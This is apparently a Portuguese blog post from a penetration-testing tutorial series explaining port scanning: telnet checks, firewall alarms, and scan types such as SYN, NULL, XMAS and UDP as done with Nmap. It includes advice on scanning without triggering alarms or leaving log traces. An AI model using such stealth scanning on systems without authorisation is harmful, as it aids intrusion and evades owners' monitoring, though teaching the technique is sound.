O seguinte passo, o que em um scaneamento rápido se realiza ao mesmo tempo, é a detecção de portas abertos em um sistema. O problema de uma porta estar aberta não é nem mau nem bom. Uma porta se abre para dar serviço. O problema é quando se abre uma porta que conecta com uma aplicação ou serviço que não está seguro ou que realmente o administrador ignora que o tem aberto em uma máquina. Desde o ponto de vista de um teste de intrusão é preciso ver a que serviços se pode chegar.
Detectar uma porta TCP aberta deveria ser tão fácil como estabelecer uma conexão com dito serviço; para isso bastaria estabelecer uma conexão com um simples telnet, que, além disso, nos mostrará a informação na tela que serviço ou aplicação do outro lado da porta está enviando.
Imagem
Imagem 10: Telnet na porta 80
O problema reside nos alarmes que se activam ou na informação que se deixa nos logs quando se produz o scaneamento, é preciso levar em conta que o número de portas possíveis é de 65536 portas que podem ser TCP ou UDP.
O mais provável é que um firewall deixe de responder a um determinado IP quando tenha-se produzido mais de um número de tentativas de conexão vindo de um determinado ip, ou quando se pediram mais de um número por unidade de tempo, ou quando há uma violação de protocolo (comando não válido que costuma denotar que um serviço está falando com um ser humano atrás de um telnet e que cometeu um erro ao digitar ou no comando), etc….
O objectivo dos métodos de scan é averiguar todos as portas que se encontram oferecendo serviço por TCP/UDP sem levantar alarmes e deixar o menos rastro possível.
Há muitos tipos de scaneamentos, e gostaria de explicá-los todos aqui, mas não tenho espaço e o Nilson matava-me, mas se lhes os vou enumerar para que vocês possam buscar mais informação sobre eles. No final a ideia consiste em enviar pacotes com uma determinada configuração e escutar como reage a equipa scaneada. Um scaneamento não tem porque ser perfeito e às vezes não retornam todas as portas que estão por trás de um firewall em um único tipo de scaneamento. Os mais usados são o scaneamento de SYN, de FIM, de SYN+ACK, de ACK, o scaneamento de NULL, que se realiza com todas as flags apagadas e o de XMAS Tree, que recebe esse nome porque activa todas as bandeiras como se fossem luz numa arvore de natal [E para UDP e Iddle Scanning].
Scan com Nmap:
Nmap, realiza o scan de estabelecimento de conexões (como se fizéssemos um telnet) que se chama TCP connect(), de SYN (ou de conexões meio abertas, já que se envia um pacote SYN a uma porta e se espera a confirmação por parte do cliente sem nunca fechar a conexão), de FIM, de NULL e de XMAS Tree.
Para as portas UDP implementa-se um sistema baseado no envio de mensagens UDP a uma porta de 0 bytes de tamanho. Se se recebe uma mensagem ICMP que diz que é inalcançável então é porque a porta está fechada, pelo contrário se assume que está aberta. Este tipo de scaneamento, como muitos dos anteriores pode ter um alto índice de falsos positivos devido a que pode ter o firewall que proíba todo o tráfego ICMP de saída ou que se tenha perdido a resposta.
Fim do segundo Capitulo…
Postagens mais antigas → Página inicial
Copyright © Hc8 | Powered by Xandao Design by Xandao86 | Xandao86